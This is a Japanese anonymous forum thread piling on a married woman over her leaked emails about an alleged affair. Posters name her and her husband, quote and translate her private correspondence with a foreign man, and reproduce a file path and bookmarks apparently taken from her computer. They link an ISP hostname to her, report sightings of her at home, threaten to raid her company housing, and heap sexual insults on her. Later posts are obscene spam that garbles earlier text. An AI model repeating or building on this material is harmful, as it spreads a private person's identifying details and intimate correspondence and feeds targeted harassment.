ニュー即ではだいぶ前に盛り上がってもう沈下済みですからw
でもID出ない板の方が色々と煽り騙り降臨があって面白いと思うよ。
>>6
やっぱ不倫板のほうがよかったかなorz
あそこID出ないし。 やっぱ、不倫板から日本●シスの板まで来るひといるよ。
不倫板しか好調っぽい気が・・・
>>1は馬鹿なの?
祭りも終わり頃になって今更ここで何するつもりなの? >>12
祭なら いつでも再開してさしあげても良くてよ 本当は不倫してる女が羨ましいだけなんだろ?おばさん(笑)
>>15
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(笑)
(´,_ゝ`)プッ >>15
イカ臭い、包茎・短小・早漏の三冠王はキミだ!www つーかさ、結婚してから1度も不倫してない女なんてい今時いるの?
いや、まじでさ。
不倫の証拠メールを後生大事に保存した上にそれを全世界に発信するのは稀に見る馬鹿主婦だと思うw
>>20
それはそうだね
だから 冷やかしの対象になるのはよくわかるんだ
でも マジになって批判してる人って なんかコワイよ(笑) この件は流出画像より
流出メールが不倫関係なので特に面白かった。
画像見るより読む方が面白い。
>>21
祭特有の集団心理じゃないかな?
女性全般にも言えるけど、鬼女板は不貞には敏感だしねw
>>21
関係者の周囲の人がマジに怒ってたりして
こんなことは本人に直接言えないものね >>26それは703に対してではなく2ちゃんねらーに対してキレてたんだろ?
703に対してキレてたレスはもしかしたら703被害者かも 恥ずかしくないなら堂々と不倫してますって公言してみろと。
どーぜ隠れてやってるくせにw
いやぁ 卑しい卑しい みっともねー
>>28
不倫なんて隠れてやるもに決まってるじゃん
お前バカ?w
高木君降臨キタ━━━━━━━━━(゚∀゚)━━━━━━━━━ !!!!!
高木君降臨キタ━━━━━━━━━(゚∀゚)━━━━━━━━━ !!!!!
>>15,19,21 ID:NvrkIS7I
(笑)(笑)(笑)(笑)
02/08/14
高木よりのメール
「最低でも5枚は持っていきます。できたら「ア○ル」にもtryしてみたいです!(笑)」
に対して
703が
「はいはい。気分次第ってことで。」
と返信があった。 フェラ木なの?
社宅凸しちゃうぞ!
また寮に戻りたいのか?
_ .∩
( ゚∀゚)彡 アナル!アナル!
( ⊂彡
| |
し ⌒J
>>19
>つーかさ、結婚してから1度も不倫してない女なんてい今時いるの?
>いや、まじでさ。
女に限らず普通は不倫なんてしませんよ〜
「つーかさ」+「い今時」のミス+>>15>>21の「(笑)」=703w
>>29
早速日本語が乱れとりますねw
>>28
不倫なんて隠れてやるもに決まってるじゃん
お前バカ?w
「隠れてやるもに」・・・??? プ >>28
>どーぜ隠れてやってるくせにw
どーぜってドコの国の言葉でつか? >>28
もうちょっと頭のいい人と不倫すべきだったよねw
軽いきもちでおつむの軽い人に不用意に手を出すから、
こんなかたちでしっぺ返しが来ちゃうんだよ。
あと変な日本語何とかすれば?同類に見られるよwww >>29
pu
性欲猿が生意気言うなってw
よっ ふりーん ふりりーん 気持ち良いねー
頭悪いねー >>39
タイポがあると703とみなされるみたいね。
ちょっとアホらしいかも。。。
文字抜けがある人は打つのが早いんだよ。
で、確認しないで送信してる。 >文字抜けがある人は打つのが早いんだよ。
>文字抜けがある人は打つのが早いんだよ。
>文字抜けがある人は打つのが早いんだよ。
>文字抜けがある人は打つのが早いんだよ。
>文字抜けがある人は打つのが早いんだよ。
>文字抜けがある人は打つのが早いんだよ。
>文字抜けがある人は打つのが早いんだよ。
ぷ。
レスひとつにつき、必ず一箇所は誤字脱字があるけど、
キー運びひとつにしても「なんでこんな所が抜けるのか?」というのが気になってね。
しかしこの一件、知ってる人は知ってるよ。
ただ災禍が自分に降りかかるのが馬鹿らしいので見てみぬふり。
ところで、
>文字抜けがある人は打つのが早いんだよ。
ひさしぶりにマヌケな意見が出てきたね〜w
ブラインドタッチもできないヤシが、何の寝言をと思ったけど
打つのが早いだけで、正確なブラインドタッチができるヤシでもないんだね。
タイピングの基本は正確に打つこと。
早く打っても文字抜け、誤字脱字がある人は基本ができていないと
業界ではバカにされるよ。タイピングゲームのやり過ぎとちゃう?
日本語はね、ゲームと違って文字抜け、誤字脱字があると美しくないのwww
しかも確認しないで送信するなんて愚の骨頂! もう笑っちゃいますwwwww
>>44
騒ぎが広まったら困る関係者が
わざわざ過疎板を探し出してきたんだよ
>>45
ID変えて自作自演してる基地害チュプばかりで人少ないよ >>48
No body has so much free time as you do just to post
messages to 2ch, especially on this kind of silly thread where a danbo
like you show up. >>nIrMDF2c
で、一体どうしたい訳?お下手な英語まで晒してさw
50
I guess there are many mistakes in my message.
could you kindly point out and correct to make it more beautiful?
You love beauty , right?
I do not do health in the thread which is particularly this kind of stupidity so as to do the place where danbo like you appears so that time as you just sends a message to 2ch
o-o, your message doesn't make sense at all,
what happend to you?
Oh, what kind of happend to you which does not make sense at all is your message?
Stop it! This is MY thread. You guys have to discuss about me!!
I did my best to get what you really wanna say.
Could you tell me if this translation is close to what you tried to say in English?
特におまえのような間抜けに関するこーいうばかばかしさであるスレッドでおまえがメッセを2chに送った時
ワタクスは健康しない
I am stuck in a child rice field of the やだやだ nose wax country, and it is Aisne boohoo
oh no !
It's not beautiful at all!!! You have ahd to write " e " between n&d of the "happend".
Are you 703??
I think that kind of mistake cannot be made by a one who graduated a junior-high,
>>Oh, what kind of happend to you which does not make sense at all is your message?
you wanted to say like below, maybe,,,
Oh, which part of my massages was not clear at all to you?
Probably you wanted to say like a bottom,
Oh, it was clear, and did not you have a part of my massage throat at all?
Why didn't you correct those mistakes that I made in my englisH?
anyway SEEEYOUU again
It is any thread or w for an instant
>>61
Hi again, Glad to knwo you still can share time with me,
yeah,right, just after I posted my message I got that you asked me
if "what kind of......sense at all " is my massage or not.
I have a reason that I confused the meanngs,
If you wanna ask something, you should write like this,
Is " what kind of..at all" your message?
Got it?
IS must come the first! >>62 Wait a moment! You look smart.
Do you want to check my English?
------
Hi! Thank you for e-mail.
It is secret in Hiroaki to have taught the e-mail address.
him -- jealousy -- since it is deep.
Japan has lost the referee, though regrettable.
Tomorrow is it the German game.
After going to a sport gym and coming together
for buying the hat of Irish green for Makuhari,
it goes to Kashima.
What time is it practice on Thursday?
I will come back home to Kashima on Thursday arternoon.
So, I think, I don't go to Makuhari.
I will go to Makuhari again.
It is there being a problem, and hardly being able to talk,
although my can do English to some extent as for listening
comprehension.
Therefore, it can't be said with you that it does not go with
Hiroaki.
I hope see you again tomorrow in Kashima. Hey, why not pointing out my mistypes?
You really love it, i know!
Hello, Glad to knwo which you quiet again can share time with me,
Right after yeah,right, I spent my message which I got it from; if there "was few anything, you asked me"...... All senses "are my massages".
I have the reason why I confused meanngs (If which you want to ask in something). And is it Is "all, what of ..at and a message of kind" you which you must write in this way?
Did you understand it?
IS must assume so that a beginning comes!
Got it?
IS must come the first!
>>66
hehehehehe
Where did you bring it from?
You copied & pasted it !! ahahahaha Does Hhehehehehe which Where made you bring it?
When you copied it to be able to warp, I pasted it! ahahahaha
>>68
If you includs grammatical mistakes so much in your message, I can't understand !
Mistyping is fine to get some fun by making silly messages on purpose, but grammatical mistake is not, Mistake of you includs grammar in your message, I cannot understand at all at all it!
Mistyping is splendid to get some pleasure by producing a stupid message intentionally, but a mistake of grammar is not so,
Is it what, this thread? Is it a chat room?
>>72
What a disgusting English you made,
Culd you refrain from just copying my messages and making a little change in it? As for you, you who would make English to get tired of how copy my message at just at, and is it its few Culd which it changes, and wait?
Mistake of you includs
heheheheee pon pon itai
to get tired of how copy my message at just at, and is it its few
Is this a riddle or else?
It is your mistake in includs
It is a heheheheee stomachache
I appear I copy my message a little, and to come to have got tired of a method and it is the minority
This is mysterious; if do not appear?
Your English drives me crazy !
I really don know what I have to do in order to solve a riddle of
your mysterious English-like messages,,,
A penis is very itchy
Please help it
Why will a scrotum resemble Inari?
Yeah !!!
Was able to catch it; was able to catch it.
Hi! Thank you for e-mail.
It is secret in Hiroaki to have taught the e-mail address.
→It is a secret that I told my email-add to Hiroaki.He might be jealous of it,
him -- jealousy -- since it is deep.
>>> ( ????? what is deep?)
Japan has lost the referee, though regrettable.
>>>????たぶん
It's regrettable that Japan lost the referee.
Tomorrow is it the German game.
>>Tomorrow , the German game will be held.
After going to a sport gym and coming together
for buying the hat of Irish green for Makuhari,
it goes to Kashima.
>>意味不明
I will go to Kashima after I go to a gym and buy an Irish -green hat which
I will wear at the makuhari game.
What time is it practice on Thursday?
>> ????
It is there being a problem, and hardly being able to talk,
although my can do English to some extent as for listening
comprehension.
Therefore, it can't be said with you that it does not go with
Hiroaki. お手上げ&めんどくさくて直せない意味不明
I hope see you again tomorrow in Kashima.
ひろ○きて旦那さんか
じゃIt is secret in Hiroaki to have taught the e-mail address.
→It is a secret that I told my email-add to you.
I give the most important thing of a girl to you
I give the important thing which I put away in the depths of a small chest
I protected it to give it to a beloved person
The love that may cry that may be stained is holy
It is honeytrap of temptation anyone experiencing only once
I give the most important thing of a girl to you
I give an important thing shining with pure tears color
Thus I am happy if pleased with a beloved person
The love that you may abandon that may fail is holy
It is honeytrap of temptation anyone experiencing only once
人がいないから英語教室?
人いるとこに引越ししようよ。
let R be a polynomial ring over a field of characterisitic p and
G be an algebraic group over F which acts linearly on this polynomial
ring R.
なんかさ〜、外出して結構遠くまで行ってさっき帰ってきたのだけど、
こんな週末に一日PCに張り付いて、ご苦労様。
これって無理やり本題から逸らそうとする工作員がやってるの?
あ○○つな○みさんの不倫相手の一人?
今日社宅にいるって情報のあった人かな???
あらーぜんぜん外れてますよ。
私女だし!
工作って、読めば703サイドの人間じゃないってわかるはずなのに。
てか工作する必要性のある新事実があるなら、とっととカキコよろ。
>>なんかさ〜、外出して結構遠くまで行ってさっき帰ってきたのだけど
自分は用事があると必死にアピールw
誰も聞いてないし興味もないっての あんたの生活なんか。
>>34
鬼女板にてフェラ木の在宅を確認したという報告があったな。
あと703ではないかという書き込み情報もあったぞ。
funabasi.chibaのリモホ=703だという事らしい。
茨城県鹿嶋市スレッド!!Part 3
http://kanto.machi.to/bbs/read.pl?BBS=kanto&KEY=1123032961&LAST=50
名前: 元鹿嶋市民 投稿日: 2006/03/25(土) 12:55:27 ID:UrQbFfZQ [ p5038-ipad27funabasi.chiba.ocn.ne.jp ]
今Uターンを考えてます。
鹿嶋での転職を考えてるんですけど、どうですかね。
高校卒業以来だから約10年ぶり。
あの頃よりはずいぶん発展してるからあるのかなぁ。
ネットで検索してもほとんどないからやっぱきびしいんでしょうか?
もし詳しい人いましたら教えてください。
>>94
ごめん、開いたら英文だらけだからびっくりした訳。
(ID確認すりゃよかったね)
逆工作活動だったのね、乙!! いーえ。驚かしてすみませぬ>>96
しかし703って本当に勘違い甚だしい。
あんな英語送ったら日本人の恥だよ。
不倫したくてしたくてしょーがなくって、一生懸命何時間もかけて
書いたのかなー??
ほんっと恥ずかしいよね。下手な英語とかじゃなくて
支離滅裂だよ703!
>>94
>自分は用事があると必死にアピールw
それって703と同じ性癖よね〜www . ´ ` .
, ´ ヽ ヽ
/ ', ',
l i il ハ ト. ト. li l i
l i li l i .| i i i li l |
l l lト、l ', | l i ト. il |. l
100げっと!! l Vfi::ヽ ヽj Vヽil.l| i⌒i i
こんな糞スレ iハ| |::r'l |::r'リハ i´ .l !
爆破しちゃる!!. l ! ー'' i:::ー'_ノ /.イ i
N入 `、ー┐"" | i il !
,. ===== 、 | il > -- -r ´.| / il i
.《 .(_), | i| i /7/ //i∧ il. ハ
》 /::.. `ヽ. リi l ///__i i i/ ヽ. i ',
,.※. /:::.. ', | i/ i \ \ \
i;::. ・ ∀・ i | / i ト、 \ \
ゝ;::. /`ー┴-く /i l \ \ ヽ
f^Yヘへイ _,__ __/ | ト、 \ \ ヽ
`ー〜ー '´ `| ̄ / iヽー- ヽ、 ヽ、 ヽ、
| / ! ヽ、. `ー--ァ
i / ヽ._ _フ ヽ.
ゝ. / i` ヽ ヽ
/ 〉\ ヽ ',
/ f´ ', ト、 i
/ ノ i i ヽ.j
〈 | /´⌒\ .l l
`ー〜 、__ _j __r'´ ヽ l /
i.___ _r'´ レ'
| i´く`´
| i ハ
| ハー 1
| .i j ̄ jj
i リ⌒Y 〉
f`ーrノ- v' /
/、 ̄.|`ー'ノ
/、 ヽl  ̄
{ー‐'‐ ' ノ
`ー‐‐'
>>100には萌え------
なおみには|電柱|ヽ(_ _|||)))) おえぇぇぇ!! >>87
I appriciate your help. I wish you were a handsome guy just like Aneha.
Does anyone check my English again? I think it is OK!!
---------
HI Thank you for e-mail.
It can go, if it is the front, since it is a Japanese game on Sunday night.
From when is it practice? Supposing it goes, it will go for secret to
extensive Ming by carrying out.
Does the way which saying that I love imprudently although it has got
married
left love as a good ? friend? a reply
I'm waiting for your e-mail. キャーハハハハ ハライテw
ヤク中の文章みたいで怖いッスw
しかし、なんでいつも主語がitなんだろ・・・
>HI Thank you for e-mail. I'm waiting for your e-mail.
相手の外人はどうやって意思の疎通をしたのかナゾ
> しかし、なんでいつも主語がitなんだろ・・・
ほんっとに英語が出来ない人が英語で書くとき、主語に困るとit を使います。
私がそうでしたorz
703の文章を読んでると自分の過去を見てるようで悶死しそうw
>>103
自分も英語得意ってワケじゃないがコレはすごいね
703はコレがオカシイことに全く気付かないわけだから
よほどのバカなんだろなーと思っちゃうよ
これで旦那とよく話が合うもんだ
旦那ぜってーたまに703のアフォさにイラついてたとオモ >>83
You are very KAWAISOSU. Why not try my fast-rotating tongue?
It works so much! >>109
Do you intend to lick his penis which he has an itch on? 703は
英語力ないから翻訳ソフト使っている訳だし
英語力ないから翻訳のおかしいところにも気づかないのは当然だし
そんな英文訳すだけ無駄w
あ、でもそれだとスペルミスは何だろうな?
翻訳ソフト使っているのは間違いないと思うんだけど
コピペじゃなくて、オリジナリティを加えたかったのかな?
だとすれば、余計な事しちゃったねw
>>111
訳は無理ですよ。
暗号みたいな文章で文法がメチャクチャ。破綻してる。
だから単語から推測しないと文にできない。
特にextensive Ming bv carrying out はまったく推測不能。
そこを抜かして無理やり文章にすると
旦那に秘密で観戦にいくとか、結婚してるのに軽率にも愛してると言ったとか。
left love as a good? friend ? a reply?
これは・・・
自分の愛を受け入れてくれるか、それとも友達なのか返事くれってことかな?
なんか本意は違ったんじゃないかと思うけど。 left love as a good? friend ? a reply?
「良いとしての愛は残ってる? 友達? 一つの返事?」
ハァ? 全くもって意味不明。
これ、前に上手いこと訳してた人いたと思う。確かこんなんだった
「I love」って何?私結婚してるよ?left loveって仲の良い?
友達って事?返事して?メール待ってます
left loveって何だろね。メールの末尾が「love」「with love」だったんだろか
>>118
あーその訳読んだことあるw
i loveって703じゃなくて男が703に対して言ったの?
あの英語だと主語が書き手本人にしか見えないし
I LOVEって言った人と結婚している人=it だけど。
left loveって表現はマンマ愛が残ったで良いけど
as a good ?friend ? でわけわかんなくなる。
つーか頭おかしくなるw その辺は、記憶が不確かな上、改めて読み解ける程英語力ないので orz
「Does the way」以下は、コンマかピリオドがいくつか抜けてると思った
「Does the way」は「By the way」のつもりかと思ったけど、それもどうだか。
ネイティブだったら理解できる…のか?
>>120
いや、コンマ抜けてても構文として成り立ってないですがな。
それとDoes the way whichて関係代名詞が続いてるから、by the way ではないと思います。
これで返信が来ていたということが信じられない。
男も下心あったんだろーか・・・
暇なので>>66を訳してみた。
> him -- jealousy -- since it is deep.
sinceを〜からと訳せば「彼は嫉妬深いから」と言いたかったのでは?
> Japan has lost the referee, though regrettable.
> Tomorrow is it the German game.
「残念ではあるが、日本はレフリーを失った。明日はドイツの試合です。」
サッカー詳しくないので分からないが、レフリーを失ったってどういうこと?
いいレフリーがいないと言いたかった?
> After going to a sport gym and coming together
> for buying the hat of Irish green for Makuhari,
> it goes to Kashima.
「ジムへ行った後、幕張でかぶるアイリッシュグリーンの帽子を買うのに一緒に来て、
鹿嶋へ行きます」
??? 理解に苦しむ文章だ。
誰と一緒に行くのかわからん。旦那?それとも「ご一緒しません?」と言いたい?
> What time is it practice on Thursday?
> I will come back home to Kashima on Thursday arternoon.
> So, I think, I don't go to Makuhari.
「木曜のいつなら都合がいいですか? 木曜の午後に鹿嶋の実家に戻る予定です。
なので、幕張には行かないと思います」
ジムの後、幕張に行くんじゃないの???
> I will go to Makuhari again.
> It is there being a problem, and hardly being able to talk,
> although my can do English to some extent as for listening
> comprehension.
「幕張にはまた行きます。
リスニング力をブラッシュアップ出来るけれども、ほとんど話せないのが問題です」
ボディランゲージに言葉はいらないYO!
> Therefore, it can't be said with you that it does not go with
> Hiroaki.
>
> I hope see you again tomorrow in Kashima.
「だから、ヒロアキなしで行くとは言えません。鹿嶋で明日また会えるといいですね。」
withoutという単語を使えば、この訳が合ってるならば、簡単な英文になるのに…
他のアジアの国の人の英文より、過去の自分より酷いよ、703タン…
703タン、無理して長文を作ろうとするからワケワカメな文章になるんだよ。
文法分からないんだから、子供のように単文を羅列した方が相手は理解しやすいYO! リロってなかったら、鎖タンktkr!wwwwww
てか、英文は鎖タンのじゃないんだから、いいじゃん。
それとも703タンなの?wktk
although my can do English
まいキャンドーイングリッシュ!
いやっほう!笑い死に続出!
> Therefore, it can't be said with you that it does not go with
> Hiroaki.
「だから、ヒロアキなしで行くとは言えません」
あの文から、よくこの訳が出ましたね。
すばらしい。
with you を削除したんですね。なるほど。
暗号解読には色々な工夫が必要ですなw
外資に入りたてて、今まで英文メールを出したことのない連中が書きそう。
帰国子女や外人に失笑を買っていることに気づかず、「私って英語できる」って
勘違いしている奴の文章ぽい。大体そういう奴に限って3ヶ月から半年程度で
「合わない」とか言って辞めていくんだけど。
>>112 Extremely-highspeed lick!
>>66>>87>>146
件名:茨城で会おう 6月4日21:34
David: ひろ○きにメール送ったよ、(サッカー試合の)席番号を。
茨城で会いたい。アイルランドの試合を見よう。木曜にアイルランドチームの練習
見たい? 「はい」って言って。待ち遠しいなあ。
件名:さんきゅー 6月4日22:51
703: メールありがと。David(以降D)にメルアド教えた事、ひろ○き
には内緒なんだ。ひろ○きは妬くだろうし、嫉妬深くなってきてるから。
日本がレフリー失ったのは残念。明日はアイルランドの試合だね。私はジムに
行って、その後(Dと)幕張に一緒にアイルランドの緑の帽子買いに行って、
それから鹿嶋行くってことかな。
木曜の練習って何時なの? 私は火曜の午後に鹿嶋の家に着くつもりだから、
幕張には行かない、無理よ。
再び幕張に行きたいんだけどね。問題があるよ、(英語で)話すの難しいし。
聞き取りの理解力は広がってるから、できるとは思うけど。それにDと一緒に
(幕張行く)ってひろ○きに言えないし、ひろ○きと一緒にも行けないから。
明日鹿嶋で再会できるといいね。
※5日にアイルランドチームは幕張に泊まっていて、練習は幕張で試合は鹿嶋。(推測) I think that your English is perfect.
デビッドはほめてるよ
英語上手ですねって誉められる間は、どっか変なんだよ。
あなたは日本語上手ですねって日本人に誉められますか?
703が>>103をreplyした男からのメールってあるのかな?
相手のがあれば103が解読出来るかもしれないけど、これ単体じゃあ無理ぽwww 英語で)話すの難しいし。
聞き取りの理解力は広がってるから、できるとは思うけど
____
えっと、これが as for listening
comprehension. ??
英語がちょっと得意な高校生に教えてもらうと良いよ。
703タソ
>>151 本人降臨?スゴス
Practiceって練習試合のことか!なるほど!!
てっきり703のいつもの「いつならいい?=実際にいつならいい?」ってことかとw
>>154
>>103を送ったあと、703が2通メール送ってやっとデビッドから返信がくる
誰か訳して
From: "Naomi Andatsu" To: "d g"
Subject: PS
Sent: Thursday, June 06, 2002 10:18 PM
Subject: PS
Hi David
When thinking well, it may go to drink to New Otani after the game of Yokohama.
It is known that I was coming to the Ireland supporter besides then alone,
and it is [ it is not rich and ].
Practice will be given up??
Instead, he meets you. However, they are the conditions that other men do not see.
Naomi
__________________________________________________
From: "Naomi Andatsu" To: "d g"
Sent: Saturday, June 08, 2002 12:35 AM
Subject: Naomi
Hi David
Are some offended although a reply cannot be got?
Although I go home on tomorrow night, mail of a personal
computer can also be seen also under its parental roof.
however, at the time of hurry, although mail of a cellular phone could be used,
Do you sent to my cellular phone adress?
Please sent an e-mail.
By Naomi
__________________________________________________
From: "d g" To: "Naomi Andatsu"
Sent: Saturday, June 08, 2002 4:33 PM
Subject: Sorry
Hi Naomi,
Very sorry about not replying.We had a few parties the last 2 days and I was unable to get to a PC.
I am sorry and I hope you will forgive me.
I would love to go to Ibaraki with you and see you perform the tea ceremony in Kashima.
`I love` can mean love as in eternal love which is ultimate love OR `I love` can mean as a good friend.
It depends on who is saying it and why.
I don`t know what time training is on at Sunday but I`ll find out and tell you a little later.
I met with Hiroaki today but because of the party it was too late when I got up from sleeping.
Hiroaki was going to show me a game of Baseball but it is now too late to go to Yokohama.
So instead he agreed to meet me after the Ireland game
in Yokohama.
You say that you will come to New Otani hotel after
game in Yokohama.Which game do you mean?
Japan`s game tomorrow or Irelands game on Tuesday??
I hope you mean tomorrow because I love to see you!!
I got your cellular address so now I will send you an
e-mail to it.400 characters.
Hiroaki said that tomorrow he plays volleyball so if
you want I could meet you somewhere but that is up to
you...
I will let you know about training later.
Love David Very sorry about not replying.
We had a few parties the last 2 days and I was unable to get to a PC.
I am sorry and I hope you will forgive me.
返事しなくてごめんこ。二日間ちょっとパーティがあって
PCできなかったんよ。まじごめん!君が許してくれるといいんだが。
I would love to go to Ibaraki with you
and see you perform the tea ceremony in Kashima.
茨城に一緒にいって鹿嶋の茶会に出てる君をみたいずら
`I love` can mean love as in eternal
love which is ultimate love OR `I love` can mean as a good friend.
愛ラブっつーのは永遠で究極の愛って意味もあるし、いい友達って意味もあるさ
It depends on who is saying it and why.
誰がなぜ言ってるかによって意味違ってくるんだぞ
I don`t know what time training is on at Sunday
but I`ll find out and tell you a little later.
日曜の何時に練習かしらねーけど、後で調べて教えるね
I met with Hiroaki today
but because of the party it was too late when I got up from sleeping.
今日ひろあKIに会ったよ、ま漏れが起きたのはパーティのせいですごく遅かったんだが
Hiroaki was going to show me a game of Baseball
but it is now too late to go to Yokohama.
ひろあきが野球につれてってくれる予定だったんだけどさ
今横浜にいくのは遅すぎるがな
So instead he agreed to meet me after the Ireland game
in Yokohama.
だから代わりに漏れとアイルランド戦の後に横浜で会うことに同意したよ、やつは。
You say that you will come to New Otani hotel after
game in Yokohama.Which game do you mean?
もまえ、ニューオータニホテルに横浜のゲームの後来るって言ったよな?
どっちのゲームのこと言ってたの?
Japan`s game tomorrow or Irelands game on Tuesday??
明日の日本戦か火曜のアイルランドか?
I hope you mean tomorrow because I love to see you!!
もまえが明日のゲームの事いってるんだといいな。
だってすっげーモマエに会いたいもの
I got your cellular address so now I will send you an
e-mail to it.400 characters.
モマエのエイタイアドレスもらったから、メールするよ400文字で
Hiroaki said that tomorrow he plays volleyball so if
you want I could meet you somewhere but that is up to
you...
弘明が明日バリボーやるっていってたから、モマエが会いたいなら
どっかで会えるよ?ま、キミ次第だけどね
I will let you know about training later.
じゃ、あとで練習のことおしえるよ
>>159
訳ありがと
このアイルランド人はポチオが接待してる相手なのかな >>160
接待かもね。それか海外支社からの出張か?
とんでもないビッチ奥だって
笑われてただろうな。
旦那さん面目丸つぶれ。
実際に浮気はしてないのかな?それらしい話はきかないもんね。
訳乙です。
ていうか703一人でハイテンションで「アテクシの魅力はワールドワイド」って
悦に浸ってそうで(# ゚Д゚) ムカー
これじゃ日本の女は肉便器って外人さんに誤解あたえちゃうじゃん
>>159
ちょwwwおまwwwwwデビの方だけwww
>>158
> When thinking well, it may go to drink to New Otani after the game of Yokohama.
> It is known that I was coming to the Ireland supporter besides then alone,
> and it is [ it is not rich and ].
「よく考えたんだけど、横浜のゲームの後、ニューオータニへ飲みにいくかも。
そこにはアイルランドサポーターが独りでも飲みにくるらしいの。それに高くないし。」
外人が独りでも飲みにくる→デビが来てもおかしくはない→そのままホテルへGO!というお誘いですか?
> Practice will be given up??
> Instead, he meets you. However, they are the conditions that other men do not see.
「練習試合は諦めたの?
彼があなたに会う代わりに。でもそれは他の人が見ないという条件で。」
彼って誰??? A氏? other menは誰(何)を見ないんだ???
A氏がデビに会う代わりに自分と会うなら、他の人に見られない条件で(=さあ、ホテルへ行きましょう!)と言いたかった?
> Are some offended although a reply cannot be got?
> Although I go home on tomorrow night, mail of a personal
> computer can also be seen also under its parental roof.
> however, at the time of hurry, although mail of a cellular phone could be used,
> Do you sent to my cellular phone adress?
> Please sent an e-mail.
「いくつかの提案に返事がないけど?
明日の夜に家に帰るけど、PCのメアド宛のメールは実家でも見れます。でも急いでいる時は、携帯のメールも使えますけど。
携帯にメールしてもらえます?
メール下さい。」
1行目、素直に「返事待ってるのに、どうしてくれないの?」って書かずに、
上から「返事が頂けないんですけど(どういうことかしら)?」と言うのが703クオリティw
althoughは「〜けど」を意味してるみたいですね。
>>163
どうやって訳したの?スゴスギw
> Are some offended although a reply cannot be got?
なぜ提案て言葉が出てきたのかにゃ?
>>parental roof. =実家???ええええ
他にも色々あるけど、とにかく703のは文章として成り立ってないのは明白ですよ。
そういえば>>151って703が日本人の友達に送ったメールだと
思ってたけど、違うんですかね?
>>164
自分の過去の実例(認めたくないものだな若さy(ry)と日頃英語を母国語としない人たちと英文メールしてるからw
> > Are some offended although a reply cannot be got?
> なぜ提案て言葉が出てきたのかにゃ?
あ、ごめん。オファーと読み間違えた。ご指摘まりがと。
「何か気分を悪くしたから返事をくれないのかしら?」だ。ごめん、703。
> >>parental roof. =実家???ええええ
調べたらroofには家庭って意味があった。
素直にmy parents' homeって書けばいいものを。
かっこつけようと難しい単語を調べたんだろう。 このへんのサイトを使ったのかな?
c:\Documents and Settings\andatsu.VAIO-Z6G65DAF17\Favorites\翻訳サイト のディレクトリ
OCN翻訳サービス.url
インフォシーク テキスト翻訳.url
Excite エキサイト 翻訳.url
「ポッターマニア」 ハリー・ポッターのホームページ.url
ハリーポッターとマグルの部屋.url
地球人ネットワークを創るアルク:スペースアルク.url
>>166
自己レス。
under its parental roof で、親の屋根の下のPC=実家のPCと思ったんだった。
念のために調べたら屋根には家庭の意味もあったんで、実家でFA と思ったんだった。
どうでもいいかw Sadly, I only speak English :( but learning to swear in another language interests me, not only it means I can yell at you in your own language, but, if I do try and say something, avoiding the offensive words are easier if I know what they are!
Please post whatever language you speak, and anything you'd like to teach us!
>>172
あの連続レスした人は
過疎板に人が集まってるんで吸い寄せられて来た通りすがりっぽいすね あの連続ちんぼした人は
連続ちんぼに人が集まってるんで吸い寄せられて来た連続ちんぼっぽいすね
Sadly, I only speak English :( but learning to swear in chinbo language interests me, not only it means I can yell at you in your own language, but, if I do try and say something, avoiding the offensive words are easier if I chinbo what they are!
Please post whatever language you speak, and anything you'd like to chinbo us!
もはや手遅れ。連続ちんぼ。自然に任せるしかない。整形は連続ちんぼ。格差社会とか負け組とかマスコミが連続ちんぼ。世の中の大半が負け組。そんな大半の人達の士気を弱らせて何の得になるのかと。連続ちんぼで姥捨て山復活だ
友達と連続ちんぼに行く予定だったのに、風邪引いて欠席…。
夫まで引き止めるわけにいかず、一人留守番しながら掃除して洗濯して買い物して。
これから連続ちんぼ。
迷彩ではないけど、連続ちんぼって脚長モデルが雑誌で某ブランドの連続ちんぼ。
彼女は裾を絞って、連続ちんぼと合わせてたんだけど、
店舗で見たら一般人の股下で、同じ履き方をしたら提灯ブルマの長い版
みたいになるほどちんぼが長かった。
モデルって連続ちんぼ。
連続ちんぼなので>>66を訳してみた。
> him -- jealousy -- since it is deep.
sinceを〜からと訳せば「連続ちんぼは嫉妬深いから」と言いたかったのでは?
> Japan has lost the referee, though regrettable.
> Tomorrow is it the German game.
「残念ではあるが、日本は連続ちんぼを失った。明日はドイツの試合です。」
サッカー詳しくないので分からないが、レフリーを失ったってどういうこと?
いいレフリーがいないと連続ちんぼ?
> After going to a sport gym and coming together
> for buying the hat of Irish green for Makuhari,
> it goes to Kashima.
「ジムへ行った後、幕張でかぶるアイリッシュグリーンの連続ちんぼを買うのに一緒に来て、
鹿嶋へ行きます」
??? 理解に苦しむ連続ちんぼだ。
誰と一緒に行くのかわからん。連続ちんぼ?それとも「ご一緒しません?」と言いたい?
> What time is it practice on Thursday?
> I will chinbo back home to Kashima on Thursday arternoon.
> So, I think, I don't go to Makuhari.
「木曜のいつなら都合がいいですか? 木曜の午後に連続ちんぼに戻る予定です。
なので、幕張には行かないと思います」
ジムの後、連続ちんぼに行くんじゃないの???
> I will go to Makuhari again.
> It is there chinbo a problem, and hardly being able to talk,
> although my can do English to some extent as for listening
> comprehension.
「幕張にはまた行きます。
リスニング力をブラッシュアップ出来るけれども、ほとんど話せないのが問題です」
ボディランゲージに連続ちんぼはいらないYO!
> Therefore, it can't be said with you that it does not go with
> Hiroaki.
>
> I hope see you chinbo tomorrow in Kashima.
「だから、ヒロアキなしで行くとは言えません。鹿嶋で明日また会えるといいですね。」
withoutという単語を使えば、この訳が合ってるならば、連続ちんぼになるのに…
他のアジアの国の人の英文より、過去の自分より連続ちんぼ、703タン…
703タン、無理して連続ちんぼを作ろうとするからワケワカメな連続ちんぼになるんだよ。
文法分からないんだから、子供のように単文を羅列した方が相手は連続ちんぼYO!
,.- '"´ヾ>'`"´```'' -、_
,.-' =ミ、`ヘヽミ、 ` .、
,..-'"///``"´|.l`}`-、ミ、 ヽ、
///// .} .| } } `=ミ、 }
/ /:/{:// | / |:::| `-ミ= :|
//l.リ_|l | |.|::| 、`ミ ヽヽ リ |
.|/ { !! |ヽ! ,../..|リ..._ -ミ ミミリ_/=--、
l T-=` / _⊥_ ` -、 ≡ミ ≡◯=、 ミ、 糞スレ立てんなよ!!!
`.|`:、 '´-''''7;;;-、_ ` ;;;彡ノノ○`、ヽ、` !、 糞ヴォケが!!!
j !_j {: ::::::(,.`ヽ 彡ヽ; 〃|llヽ | }
{ '''ッ !、;;;;-' ラリ'_ノ {、 | | |
\ `ャ---ャ、`-一' _,- '"< `} | | |
ヽヽ | __,. '-ゝ-、 ` 、 | | |
`-='"_,. --'" ヽ,...ゝ-`} | |
